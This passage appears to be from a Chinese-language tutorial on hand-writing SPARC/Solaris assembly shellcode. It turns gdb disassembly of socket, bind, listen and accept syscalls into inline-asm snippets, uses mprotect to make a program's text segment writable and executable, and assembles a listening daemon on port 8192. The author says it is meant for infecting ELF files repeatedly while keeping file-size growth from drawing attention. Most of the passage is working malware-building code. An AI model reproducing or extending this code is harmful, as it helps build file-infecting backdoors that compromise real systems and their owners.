call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。
接下来观察s = syscall( 230, 2, 2, 6 ):
--------------------------------------------------------------------------
0x10244 <main+144>: mov 0xe6, %o0
0x10248 <main+148>: mov 2, %o1
0x1024c <main+152>: mov 2, %o2
0x10250 <main+156>: mov 6, %o3
0x10254 <main+160>: call 0x10fec <syscall>
0x10258 <main+164>: nop
0x1025c <main+168>: sethi %hi(0x27800), %o1
0x10260 <main+172>: st %o0, [ %o1 + 0x1b4 ] ! 0x279b4 <s>
--------------------------------------------------------------------------
从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
");
} /* end of main */
--------------------------------------------------------------------------
如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思,
这里假设%l7已经指向正确的内存空间。
接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):
--------------------------------------------------------------------------
0x1020c <main+88> : sethi %hi(0x27800), %o0
0x10210 <main+92> : mov 2, %o1
0x10214 <main+96> : sth %o1, [ %o0 + 0x1b8 ] ! serv_addr.sin_family = 2;
0x10218 <main+100>: sethi %hi(0x27800), %o0
0x1021c <main+104>: mov 4, %o1
0x10220 <main+108>: or %o0, 0x1b8, %o2 ! 0x279b8 <serv_addr>
0x10224 <main+112>: add %o1, %o2, %o0 ! 0x279bc <serv_addr+4>
0x10228 <main+116>: clr [ %o0 ] ! serv_addr.sin_addr.s_addr = 0;
0x1022c <main+120>: sethi %hi(0x27800), %o0
0x10230 <main+124>: mov 2, %o1
0x10234 <main+128>: or %o0, 0x1b8, %o2 ! 0x279b8 <serv_addr>
0x10238 <main+132>: add %o1, %o2, %o0 ! 0x279ba <serv_addr+2>
0x1023c <main+136>: sethi %hi(0x2000), %o1
0x10240 <main+140>: sth %o1, [ %o0 ] ! serv_addr.sin_port = 0x2000;
0x10264 <main+176>: sethi %hi(0x27800), %o1
0x10268 <main+180>: mov 0xe8, %o0
0x1026c <main+184>: ld [ %o1 + 0x1b4 ], %o1 ! %o1设置成s
0x10270 <main+188>: sethi %hi(0x27800), %o3
0x10274 <main+192>: or %o3, 0x1b8, %o2 ! 0x279b8 <serv_addr>
0x10278 <main+196>: mov 0x10, %o3 ! 16
0x1027c <main+200>: call 0x10fec <syscall>
0x10280 <main+204>: nop
--------------------------------------------------------------------------
这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:
--------------------------------------------------------------------------
0x102c0 <main+268>: sethi %hi(0x27800), %o1
0x102c4 <main+272>: mov 0xea, %o0
0x102c8 <main+276>: ld [ %o1 + 0x1b4 ], %o1
0x102cc <main+280>: clr %o2
0x102d0 <main+284>: clr %o3
0x102d4 <main+288>: call 0x10fec <syscall>
0x102d8 <main+292>: nop
0x102dc <main+296>: sethi %hi(0x27800), %o1
0x102e0 <main+300>: st %o0, [ %o1 + 0x1b0 ] ! 0x279b0 <c>
--------------------------------------------------------------------------
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
");
} /* end of main */
--------------------------------------------------------------------------
一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找
到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。
可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?
如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无
奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快
提取mprotect的汇编码:
--------------------------------------------------------------------------
/* gcc -o test test.c */
#include <stdio.h>
#include <errno.h>
#include <sys/mman.h>
int main ( int argc, char * argv[] )
{
char * buf;
char c;
/* 分配一块内存,拥有缺省的rw-保护 */
buf = ( char * )malloc( 1024 + 4096 - 1 );
if ( !buf )
{
perror( "Couldn't malloc( 1024 )" );
exit( errno );
}
/* Align to a multiple of PAGESIZE, assumed to be a power of two */
buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
c = buf[77]; /* Read ok */
buf[77] = c; /* Write ok */
printf( "okn" );
/* Mark the buffer read-only. */
// 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */
if ( mprotect( buf, 1024, PROT_READ ) )
{
perror( "nCouldn't mprotect" );
exit( errno );
}
c = buf[77]; /* Read ok */
buf[77] = c; /* Write error, program dies on SIGSEGV */
exit( 0 );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /export/home/scz/src]> gcc -o test test.c
[scz@ /export/home/scz/src]> ./test
ok
段错误 (core dumped) <-- -- -- 内存保护起作用了
[scz@ /export/home/scz/src]>
用gdb ./test看到如下入口参数:
--------------------------------------------------------------------------
0x10bc4 <main+152>: ld [ %fp + -20 ], %o0
0x10bc8 <main+156>: mov 0x400, %o1
0x10bcc <main+160>: mov 1, %o2
0x10bd0 <main+164>: call 0x21874 <mprotect>
0x10bd4 <main+168>: nop
--------------------------------------------------------------------------
同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代
码:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8
! call . ! 用于调试,设置个无限循环,然后用pmap观察
! nop
");
} /* end of main */
--------------------------------------------------------------------------
别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必
须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,
直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之
间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读
可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,
也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了
写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且
先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,
看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,
SPARC下罗嗦了许多。
我们可以整合出一个daemon,这个daemon监听8192端口:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
call .-4 ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 172, %l7 ! %o7 + 172 指向本段代码尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
.ascii "xxxxxxxx"
.ascii "xxxxxxxx"
.ascii "xxxxxxxx"
.ascii "xxxxxxxx"
");
} /* end of main */
--------------------------------------------------------------------------
php爱好者站 http://www.phpfans.net PHP|MySQL|javascript|ajax|html.
相关阅读 更多 +